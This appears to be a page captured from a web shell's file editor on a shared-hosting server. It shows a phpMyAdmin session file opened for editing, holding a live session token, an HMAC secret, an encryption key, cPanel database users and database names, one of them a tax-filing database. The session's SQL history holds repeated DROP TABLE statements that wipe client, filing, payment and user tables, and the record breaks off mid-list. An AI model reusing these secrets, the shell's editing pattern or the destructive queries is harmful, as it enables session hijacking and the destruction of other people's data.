

<div style='background:#0a0a0a; color:#00ff41; font-family:monospace; padding:20px; max-width:900px; margin:20px auto; border:1px solid #00ff41;'><h2 style='color:#ffcc80;'>✏ EDIT: sess_e914038af8a754c41ae2f42614b81bad</h2><form method='post' action='?opcion=editar_guardar'><textarea name='contenido' rows='20' style='width:100%; background:#1a1a1a; color:#00ff41; border:1px solid #00ff41; font-family:monospace; padding:10px;'> PMA_token |s:32:&quot;7664292557503d4e5f36646f352e5b2f&quot;; HMAC_secret |s:16:&quot;T4*fy^;KLF&amp;)r&lt;&gt;;&quot;;auth_type|s:3:&quot;env&quot;;browser_access_time|a:16:{s:7:&quot;default&quot;;i:1763449230;s:36:&quot;5fd31603-2100-d9a2-181a-115e4fd6f1f2&quot;;i:1763291967;s:36:&quot;ca6224c2-8d73-1680-bc45-a18eedf63ee3&quot;;i:1763306360;s:36:&quot;ce2af7b8-e43e-32f4-7cbd-6ff04298d2e1&quot;;i:1763310490;s:36:&quot;ba8cb22a-203d-3005-2474-25f253694674&quot;;i:1763316301;s:36:&quot;59fb6d56-4604-dedc-0c08-7154f1e50be5&quot;;i:1763318098;s:36:&quot;eecb5b25-3e5d-410e-4764-1c01be9b2243&quot;;i:1763351460;s:36:&quot;40646019-c34b-5d00-1a19-02221c357ca9&quot;;i:1763353585;s:36:&quot;4f9a3721-c1d3-79bd-cfb3-947316517d77&quot;;i:1763355930;s:36:&quot;341ab61a-bbc0-0634-8769-f820a6cbe10f&quot;;i:1763360443;s:36:&quot;a79bc1fb-3936-7fb5-9126-4c107efd93ea&quot;;i:1763401524;s:36:&quot;8af88318-c430-b7b1-c78d-1f99d085da67&quot;;i:1763436469;s:36:&quot;e3214840-a63d-2775-41a4-e4bbd3e10cb7&quot;;i:1763441932;s:36:&quot;c0b7fb3c-45ae-f66a-c505-204de5da8f68&quot;;i:1763444915;s:36:&quot;521347a8-3e8b-be51-c567-0d307247ab95&quot;;i:1763447841;s:36:&quot;87ae8baf-b8b6-8e36-4dd1-7f2d499821bd&quot;;i:1763450347;}encryption_key|s:32:&quot;6�kEH�{* 1�C*q�&amp;���R��]�1�y&quot;;relation|a:1:{i:1;a:41:{s:7:&quot;version&quot;;s:5:&quot;5.2.2&quot;;s:4:&quot;user&quot;;N;s:2:&quot;db&quot;;N;s:8:&quot;bookmark&quot;;N;s:15:&quot;central_columns&quot;;N;s:11:&quot;column_info&quot;;N;s:17:&quot;designer_settings&quot;;N;s:16:&quot;export_templates&quot;;N;s:8:&quot;favorite&quot;;N;s:7:&quot;history&quot;;N;s:16:&quot;navigationhiding&quot;;N;s:9:&quot;pdf_pages&quot;;N;s:6:&quot;recent&quot;;N;s:8:&quot;relation&quot;;N;s:13:&quot;savedsearches&quot;;N;s:12:&quot;table_coords&quot;;N;s:10:&quot;table_info&quot;;N;s:13:&quot;table_uiprefs&quot;;N;s:8:&quot;tracking&quot;;N;s:10:&quot;userconfig&quot;;N;s:10:&quot;usergroups&quot;;N;s:5:&quot;users&quot;;N;s:12:&quot;bookmarkwork&quot;;b:0;s:8:&quot;mimework&quot;;b:0;s:18:&quot;centralcolumnswork&quot;;b:0;s:8:&quot;commwork&quot;;b:0;s:9:&quot;menuswork&quot;;b:0;s:20:&quot;designersettingswork&quot;;b:0;s:11:&quot;displaywork&quot;;b:0;s:19:&quot;exporttemplateswork&quot;;b:0;s:12:&quot;favoritework&quot;;b:0;s:7:&quot;navwork&quot;;b:0;s:7:&quot;pdfwork&quot;;b:0;s:10:&quot;recentwork&quot;;b:0;s:7:&quot;relwork&quot;;b:0;s:17:&quot;savedsearcheswork&quot;;b:0;s:11:&quot;historywork&quot;;b:0;s:12:&quot;trackingwork&quot;;b:0;s:11:&quot;uiprefswork&quot;;b:0;s:14:&quot;userconfigwork&quot;;b:0;s:8:&quot;allworks&quot;;b:0;}}userconfig|a:2:{s:2:&quot;db&quot;;a:2:{s:4:&quot;lang&quot;;s:5:&quot;en_GB&quot;;s:12:&quot;Console/Mode&quot;;s:8:&quot;collapse&quot;;}s:2:&quot;ts&quot;;i:1763449230;}two_factor_check|b:1;cache|a:4:{s:8:&quot;server_1&quot;;a:4:{s:15:&quot;userprefs_mtime&quot;;i:1763449230;s:14:&quot;userprefs_type&quot;;s:7:&quot;session&quot;;s:12:&quot;config_mtime&quot;;i:1754420662;s:9:&quot;userprefs&quot;;a:2:{s:4:&quot;lang&quot;;s:5:&quot;en_GB&quot;;s:7:&quot;Console&quot;;a:1:{s:4:&quot;Mode&quot;;s:8:&quot;collapse&quot;;}}}s:25:&quot;server_1_cpses_qb5wt4kfg2&quot;;a:18:{s:17:&quot;is_create_db_priv&quot;;b:0;s:14:&quot;is_reload_priv&quot;;b:0;s:12:&quot;db_to_create&quot;;s:0:&quot;&quot;;s:30:&quot;dbs_where_create_table_allowed&quot;;a:10:{i:0;s:15:&quot;qbfdcvcb\_stfv2&quot;;i:1;s:19:&quot;qbfdcvcb\_ecs\_csms&quot;;i:2;s:21:&quot;qbfdcvcb\_stf\_portal&quot;;i:3;s:17:&quot;qbfdcvcb\_bagisto&quot;;i:4;s:15:&quot;qbfdcvcb\_teats&quot;;i:5;s:25:&quot;qbfdcvcb\_site-management&quot;;i:6;s:14:&quot;qbfdcvcb\_capp&quot;;i:7;s:23:&quot;qbfdcvcb\_securetax\_db&quot;;i:8;s:14:&quot;qbfdcvcb\_csms&quot;;i:9;s:19:&quot;qbfdcvcb\_wp\_qo21x&quot;;}s:11:&quot;dbs_to_test&quot;;b:0;s:9:&quot;proc_priv&quot;;b:0;s:10:&quot;table_priv&quot;;b:0;s:8:&quot;col_priv&quot;;b:0;s:7:&quot;db_priv&quot;;b:0;s:11:&quot;binary_logs&quot;;a:0:{}s:18:&quot;menu-levels-server&quot;;a:13:{s:9:&quot;databases&quot;;s:9:&quot;Databases&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;status&quot;;s:6:&quot;Status&quot;;s:6:&quot;rights&quot;;s:5:&quot;Users&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:8:&quot;settings&quot;;s:8:&quot;Settings&quot;;s:6:&quot;binlog&quot;;s:10:&quot;Binary log&quot;;s:11:&quot;replication&quot;;s:11:&quot;Replication&quot;;s:4:&quot;vars&quot;;s:9:&quot;Variables&quot;;s:7:&quot;charset&quot;;s:8:&quot;Charsets&quot;;s:7:&quot;plugins&quot;;s:8:&quot;Plug-ins&quot;;s:6:&quot;engine&quot;;s:7:&quot;Engines&quot;;}s:14:&quot;menu-levels-db&quot;;a:14:{s:9:&quot;structure&quot;;s:9:&quot;Structure&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;search&quot;;s:6:&quot;Search&quot;;s:5:&quot;query&quot;;s:5:&quot;Query&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:9:&quot;operation&quot;;s:10:&quot;Operations&quot;;s:10:&quot;privileges&quot;;s:10:&quot;Privileges&quot;;s:8:&quot;routines&quot;;s:8:&quot;Routines&quot;;s:6:&quot;events&quot;;s:6:&quot;Events&quot;;s:8:&quot;triggers&quot;;s:8:&quot;Triggers&quot;;s:8:&quot;tracking&quot;;s:8:&quot;Tracking&quot;;s:8:&quot;designer&quot;;s:8:&quot;Designer&quot;;s:15:&quot;central_columns&quot;;s:15:&quot;Central columns&quot;;}s:17:&quot;menu-levels-table&quot;;a:11:{s:6:&quot;browse&quot;;s:6:&quot;Browse&quot;;s:9:&quot;structure&quot;;s:9:&quot;Structure&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;search&quot;;s:6:&quot;Search&quot;;s:6:&quot;insert&quot;;s:6:&quot;Insert&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:10:&quot;privileges&quot;;s:10:&quot;Privileges&quot;;s:9:&quot;operation&quot;;s:10:&quot;Operations&quot;;s:8:&quot;tracking&quot;;s:8:&quot;Tracking&quot;;s:8:&quot;triggers&quot;;s:8:&quot;Triggers&quot;;}s:19:&quot;profiling_supported&quot;;b:1;s:12:&quot;is_superuser&quot;;b:0;s:14:&quot;mysql_cur_user&quot;;s:26:&quot;cpses_qb5wt4kfg2@localhost&quot;;s:12:&quot;is_grantuser&quot;;b:0;s:13:&quot;is_createuser&quot;;b:0;}s:25:&quot;server_1_cpses_qb0z6w7feq&quot;;a:17:{s:17:&quot;is_create_db_priv&quot;;b:0;s:14:&quot;is_reload_priv&quot;;b:0;s:12:&quot;db_to_create&quot;;s:0:&quot;&quot;;s:30:&quot;dbs_where_create_table_allowed&quot;;a:10:{i:0;s:21:&quot;qbfdcvcb\_stf\_portal&quot;;i:1;s:14:&quot;qbfdcvcb\_csms&quot;;i:2;s:17:&quot;qbfdcvcb\_bagisto&quot;;i:3;s:15:&quot;qbfdcvcb\_stfv2&quot;;i:4;s:19:&quot;qbfdcvcb\_ecs\_csms&quot;;i:5;s:19:&quot;qbfdcvcb\_wp\_qo21x&quot;;i:6;s:23:&quot;qbfdcvcb\_securetax\_db&quot;;i:7;s:15:&quot;qbfdcvcb\_teats&quot;;i:8;s:25:&quot;qbfdcvcb\_site-management&quot;;i:9;s:14:&quot;qbfdcvcb\_capp&quot;;}s:11:&quot;dbs_to_test&quot;;b:0;s:9:&quot;proc_priv&quot;;b:0;s:10:&quot;table_priv&quot;;b:0;s:8:&quot;col_priv&quot;;b:0;s:7:&quot;db_priv&quot;;b:0;s:11:&quot;binary_logs&quot;;a:0:{}s:18:&quot;menu-levels-server&quot;;a:13:{s:9:&quot;databases&quot;;s:9:&quot;Databases&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;status&quot;;s:6:&quot;Status&quot;;s:6:&quot;rights&quot;;s:5:&quot;Users&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:8:&quot;settings&quot;;s:8:&quot;Settings&quot;;s:6:&quot;binlog&quot;;s:10:&quot;Binary log&quot;;s:11:&quot;replication&quot;;s:11:&quot;Replication&quot;;s:4:&quot;vars&quot;;s:9:&quot;Variables&quot;;s:7:&quot;charset&quot;;s:8:&quot;Charsets&quot;;s:7:&quot;plugins&quot;;s:8:&quot;Plug-ins&quot;;s:6:&quot;engine&quot;;s:7:&quot;Engines&quot;;}s:14:&quot;menu-levels-db&quot;;a:14:{s:9:&quot;structure&quot;;s:9:&quot;Structure&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;search&quot;;s:6:&quot;Search&quot;;s:5:&quot;query&quot;;s:5:&quot;Query&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:9:&quot;operation&quot;;s:10:&quot;Operations&quot;;s:10:&quot;privileges&quot;;s:10:&quot;Privileges&quot;;s:8:&quot;routines&quot;;s:8:&quot;Routines&quot;;s:6:&quot;events&quot;;s:6:&quot;Events&quot;;s:8:&quot;triggers&quot;;s:8:&quot;Triggers&quot;;s:8:&quot;tracking&quot;;s:8:&quot;Tracking&quot;;s:8:&quot;designer&quot;;s:8:&quot;Designer&quot;;s:15:&quot;central_columns&quot;;s:15:&quot;Central columns&quot;;}s:17:&quot;menu-levels-table&quot;;a:11:{s:6:&quot;browse&quot;;s:6:&quot;Browse&quot;;s:9:&quot;structure&quot;;s:9:&quot;Structure&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;search&quot;;s:6:&quot;Search&quot;;s:6:&quot;insert&quot;;s:6:&quot;Insert&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:10:&quot;privileges&quot;;s:10:&quot;Privileges&quot;;s:9:&quot;operation&quot;;s:10:&quot;Operations&quot;;s:8:&quot;tracking&quot;;s:8:&quot;Tracking&quot;;s:8:&quot;triggers&quot;;s:8:&quot;Triggers&quot;;}s:12:&quot;is_superuser&quot;;b:0;s:14:&quot;mysql_cur_user&quot;;s:26:&quot;cpses_qb0z6w7feq@localhost&quot;;s:12:&quot;is_grantuser&quot;;b:0;s:13:&quot;is_createuser&quot;;b:0;}s:25:&quot;server_1_cpses_qb4tkub129&quot;;a:17:{s:17:&quot;is_create_db_priv&quot;;b:0;s:14:&quot;is_reload_priv&quot;;b:0;s:12:&quot;db_to_create&quot;;s:0:&quot;&quot;;s:30:&quot;dbs_where_create_table_allowed&quot;;a:10:{i:0;s:14:&quot;qbfdcvcb\_csms&quot;;i:1;s:17:&quot;qbfdcvcb\_bagisto&quot;;i:2;s:14:&quot;qbfdcvcb\_capp&quot;;i:3;s:21:&quot;qbfdcvcb\_stf\_portal&quot;;i:4;s:25:&quot;qbfdcvcb\_site-management&quot;;i:5;s:23:&quot;qbfdcvcb\_securetax\_db&quot;;i:6;s:15:&quot;qbfdcvcb\_stfv2&quot;;i:7;s:15:&quot;qbfdcvcb\_teats&quot;;i:8;s:19:&quot;qbfdcvcb\_ecs\_csms&quot;;i:9;s:19:&quot;qbfdcvcb\_wp\_qo21x&quot;;}s:11:&quot;dbs_to_test&quot;;b:0;s:9:&quot;proc_priv&quot;;b:0;s:10:&quot;table_priv&quot;;b:0;s:8:&quot;col_priv&quot;;b:0;s:7:&quot;db_priv&quot;;b:0;s:11:&quot;binary_logs&quot;;a:0:{}s:18:&quot;menu-levels-server&quot;;a:13:{s:9:&quot;databases&quot;;s:9:&quot;Databases&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;status&quot;;s:6:&quot;Status&quot;;s:6:&quot;rights&quot;;s:5:&quot;Users&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:8:&quot;settings&quot;;s:8:&quot;Settings&quot;;s:6:&quot;binlog&quot;;s:10:&quot;Binary log&quot;;s:11:&quot;replication&quot;;s:11:&quot;Replication&quot;;s:4:&quot;vars&quot;;s:9:&quot;Variables&quot;;s:7:&quot;charset&quot;;s:8:&quot;Charsets&quot;;s:7:&quot;plugins&quot;;s:8:&quot;Plug-ins&quot;;s:6:&quot;engine&quot;;s:7:&quot;Engines&quot;;}s:14:&quot;menu-levels-db&quot;;a:14:{s:9:&quot;structure&quot;;s:9:&quot;Structure&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;search&quot;;s:6:&quot;Search&quot;;s:5:&quot;query&quot;;s:5:&quot;Query&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:9:&quot;operation&quot;;s:10:&quot;Operations&quot;;s:10:&quot;privileges&quot;;s:10:&quot;Privileges&quot;;s:8:&quot;routines&quot;;s:8:&quot;Routines&quot;;s:6:&quot;events&quot;;s:6:&quot;Events&quot;;s:8:&quot;triggers&quot;;s:8:&quot;Triggers&quot;;s:8:&quot;tracking&quot;;s:8:&quot;Tracking&quot;;s:8:&quot;designer&quot;;s:8:&quot;Designer&quot;;s:15:&quot;central_columns&quot;;s:15:&quot;Central columns&quot;;}s:17:&quot;menu-levels-table&quot;;a:11:{s:6:&quot;browse&quot;;s:6:&quot;Browse&quot;;s:9:&quot;structure&quot;;s:9:&quot;Structure&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;search&quot;;s:6:&quot;Search&quot;;s:6:&quot;insert&quot;;s:6:&quot;Insert&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:10:&quot;privileges&quot;;s:10:&quot;Privileges&quot;;s:9:&quot;operation&quot;;s:10:&quot;Operations&quot;;s:8:&quot;tracking&quot;;s:8:&quot;Tracking&quot;;s:8:&quot;triggers&quot;;s:8:&quot;Triggers&quot;;}s:12:&quot;is_superuser&quot;;b:0;s:14:&quot;mysql_cur_user&quot;;s:26:&quot;cpses_qb4tkub129@localhost&quot;;s:12:&quot;is_grantuser&quot;;b:0;s:13:&quot;is_createuser&quot;;b:0;}}tmpval|a:16:{s:14:&quot;favoriteTables&quot;;a:1:{i:1;a:0:{}}s:12:&quot;recentTables&quot;;a:1:{i:1;a:1:{i:0;a:2:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:7:&quot;filings&quot;;}}}s:5:&quot;query&quot;;a:10:{s:32:&quot;068e4c8d4469097dd03b8e2ad97eeb9a&quot;;a:8:{s:3:&quot;sql&quot;;s:829:&quot;-- Use a SELECT statement to prepare the filing_no
SELECT 
  f.id,
  CONCAT(
    &#039;STF&#039;, 
    IF(f.filing_type = &#039;R&#039;, &#039;R&#039;, &#039;X&#039;), 
    RIGHT(f.tax_year, 2), 
    LPAD(MONTH(f.created_at), 2, &#039;0&#039;), 
    -- Sequential part: Reset for each tax year and month, otherwise increment alphabetically
    IF(
      CONCAT(f.tax_year, LPAD(MONTH(f.created_at), 2, &#039;0&#039;)) COLLATE utf8mb4_unicode_ci != CONCAT(@last_tax_year, @last_month) COLLATE utf8mb4_unicode_ci,
      @last_sequence := &#039;A001&#039;, 
      @last_sequence := CHAR(ASCII(SUBSTRING(@last_sequence, 1, 1)) + 1) || SUBSTRING(@last_sequence, 2, 3)
    )
  ) AS generated_filing_no,
  @last_tax_year := f.tax_year,
  @last_month := LPAD(MONTH(f.created_at), 2, &#039;0&#039;)
FROM filings f
WHERE f.filing_no IS NULL
ORDER BY f.tax_year, MONTH(f.created_at), f.id LIMIT 0, 25;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;4c64fe0beaf30e9aec916f3ca98dd44b&quot;;a:8:{s:3:&quot;sql&quot;;s:73:&quot;ALTER TABLE `filings`
ADD COLUMN `tracking_no` VARCHAR(50) DEFAULT NULL;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;bd93efee77dee208ad375043c12a6028&quot;;a:8:{s:3:&quot;sql&quot;;s:20:&quot;DROP TABLE `filings`&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;8c371251f926aced3fd37b2eb0385c40&quot;;a:8:{s:3:&quot;sql&quot;;s:21:&quot;DROP TABLE `invoices`&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;413c5e4c2e966df01b98c54cde8b34d5&quot;;a:8:{s:3:&quot;sql&quot;;s:22:&quot;DROP TABLE `employees`&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;90e2b52d14f9a409c1daf51c10ed00b7&quot;;a:8:{s:3:&quot;sql&quot;;s:22:&quot;DROP TABLE `tax_years`&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;a9d8706e1291139ab5cf3e48cbc7523c&quot;;a:8:{s:3:&quot;sql&quot;;s:18:&quot;DROP TABLE `leads`&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;b3ff1c56289a964cfb26a25471efb579&quot;;a:8:{s:3:&quot;sql&quot;;s:20:&quot;DROP TABLE `clients`&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;db9571458894f0b39f145e49a451ebd9&quot;;a:8:{s:3:&quot;sql&quot;;s:18:&quot;DROP TABLE `users`&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;876234d5bdfd08709a13ad32dc96aa93&quot;;a:8:{s:3:&quot;sql&quot;;s:18:&quot;DROP TABLE `teams`&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}}s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;s:12:&quot;display_blob&quot;;b:0;s:19:&quot;hide_transformation&quot;;b:0;s:3:&quot;pos&quot;;i:0;s:8:&quot;max_rows&quot;;i:25;s:12:&quot;repeat_cells&quot;;i:100;s:13:&quot;table_uiprefs&quot;;a:1:{i:1;a:1:{s:21:&quot;qbfdcvcb_securetax_db&quot;;a:1:{s:7:&quot;filings&quot;;a:0:{}}}}s:20:&quot;possible_as_geometry&quot;;b:0;s:18:&quot;table_limit_offset&quot;;i:0;s:21:&quot;table_limit_offset_db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;}git_location|N;is_git_revision|b:0;ConfigFile1|a:4:{s:28:&quot;PmaNoRelation_DisableWarning&quot;;b:1;s:12:&quot;ShowCreateDb&quot;;b:0;s:7:&quot;Console&quot;;a:1:{s:4:&quot;Mode&quot;;s:8:&quot;collapse&quot;;}s:7:&quot;Servers&quot;;a:1:{i:1;a:2:{s:7:&quot;only_db&quot;;s:0:&quot;&quot;;s:7:&quot;hide_db&quot;;s:0:&quot;&quot;;}}}debug|a:0:{}__upload_status|a:1:{s:7:&quot;handler&quot;;s:47:&quot;PhpMyAdmin\Plugins\Import\Upload\UploadNoplugin&quot;;}flashMessages|a:0:{}Import_message|a:2:{s:7:&quot;message&quot;;s:222:&quot;&lt;div class=&quot;alert alert-success&quot; role=&quot;alert&quot;&gt;
  &lt;img src=&quot;themes/dot.gif&quot; title=&quot;&quot; alt=&quot;&quot; class=&quot;icon ic_s_success&quot;&gt; &lt;em&gt;Import has been successfully finished, 183 queries executed.&lt;/em&gt; (updated_db_final (1).sql)
&lt;/div&gt;
&quot;;s:11:&quot;go_back_url&quot;;s:57:&quot;index.php?route=/database/import&amp;db=qbfdcvcb_securetax_db&quot;;}is_multi_query|b:0;sql_history|a:25:{i:0;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:7:&quot;filings&quot;;s:8:&quot;sqlquery&quot;;s:28:&quot;SHOW COLUMNS FROM `filings`;&quot;;}i:1;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:475:&quot;DROP TABLE `archived_targets`, `blogs`, `clients`, `client_assignments`, `client_documents`, `client_notes`, `client_referrals`, `dependents`, `documents`, `employees`, `filings`, `invoices`, `invoice_items`, `invoice_templates`, `leads`, `lead_callbacks`, `lead_notes`, `login_logs`, `notifications`, `payments`, `pricing_items`, `referrals`, `site_settings`, `sliders`, `spouses`, `status_logs`, `targets`, `taxpayer_forms`, `tax_organizers`, `tax_years`, `teams`, `users`;&quot;;}i:2;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:7:&quot;filings&quot;;s:8:&quot;sqlquery&quot;;s:829:&quot;-- Use a SELECT statement to prepare the filing_no
SELECT 
  f.id,
  CONCAT(
    &#039;STF&#039;, 
    IF(f.filing_type = &#039;R&#039;, &#039;R&#039;, &#039;X&#039;), 
    RIGHT(f.tax_year, 2), 
    LPAD(MONTH(f.created_at), 2, &#039;0&#039;), 
    -- Sequential part: Reset for each tax year and month, otherwise increment alphabetically
    IF(
      CONCAT(f.tax_year, LPAD(MONTH(f.created_at), 2, &#039;0&#039;)) COLLATE utf8mb4_unicode_ci != CONCAT(@last_tax_year, @last_month) COLLATE utf8mb4_unicode_ci,
      @last_sequence := &#039;A001&#039;, 
      @last_sequence := CHAR(ASCII(SUBSTRING(@last_sequence, 1, 1)) + 1) || SUBSTRING(@last_sequence, 2, 3)
    )
  ) AS generated_filing_no,
  @last_tax_year := f.tax_year,
  @last_month := LPAD(MONTH(f.created_at), 2, &#039;0&#039;)
FROM filings f
WHERE f.filing_no IS NULL
ORDER BY f.tax_year, MONTH(f.created_at), f.id LIMIT 0, 25;&quot;;}i:3;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:7:&quot;filings&quot;;s:8:&quot;sqlquery&quot;;s:73:&quot;ALTER TABLE `filings`
ADD COLUMN `tracking_no` VARCHAR(50) DEFAULT NULL;&quot;;}i:4;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:475:&quot;DROP TABLE `archived_targets`, `blogs`, `clients`, `client_assignments`, `client_documents`, `client_notes`, `client_referrals`, `dependents`, `documents`, `employees`, `filings`, `invoices`, `invoice_items`, `invoice_templates`, `leads`, `lead_callbacks`, `lead_notes`, `login_logs`, `notifications`, `payments`, `pricing_items`, `referrals`, `site_settings`, `sliders`, `spouses`, `status_logs`, `targets`, `taxpayer_forms`, `tax_organizers`, `tax_years`, `teams`, `users`;&quot;;}i:5;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:475:&quot;DROP TABLE `archived_targets`, `blogs`, `clients`, `client_assignments`, `client_documents`, `client_notes`, `client_referrals`, `dependents`, `documents`, `employees`, `filings`, `invoices`, `invoice_items`, `invoice_templates`, `leads`, `lead_callbacks`, `lead_notes`, `login_logs`, `notifications`, `payments`, `pricing_items`, `referrals`, `site_settings`, `sliders`, `spouses`, `status_logs`, `targets`, `taxpayer_forms`, `tax_organizers`, `tax_years`, `teams`, `users`;&quot;;}i:6;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:475:&quot;DROP TABLE `archived_targets`, `blogs`, `clients`, `client_assignments`, `client_documents`, `client_notes`, `client_referrals`, `dependents`, `documents`, `employees`, `filings`, `invoices`, `invoice_items`, `invoice_templates`, `leads`, `lead_callbacks`, `lead_notes`, `login_logs`, `notifications`, `payments`, `pricing_items`, `referrals`, `site_settings`, `sliders`, `spouses`, `status_logs`, `targets`, `taxpayer_forms`, `tax_organizers`, `tax_years`, `teams`, `users`;&quot;;}i:7;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:475:&quot;DROP TABLE `archived_targets`, `blogs`, `clients`, `client_assignments`, `client_documents`, `client_notes`, `client_referrals`, `dependents`, `documents`, `employees`, `filings`, `invoices`, `invoice_items`, `invoice_templates`, `leads`, `lead_callbacks`, `lead_notes`, `login_logs`, `notifications`, 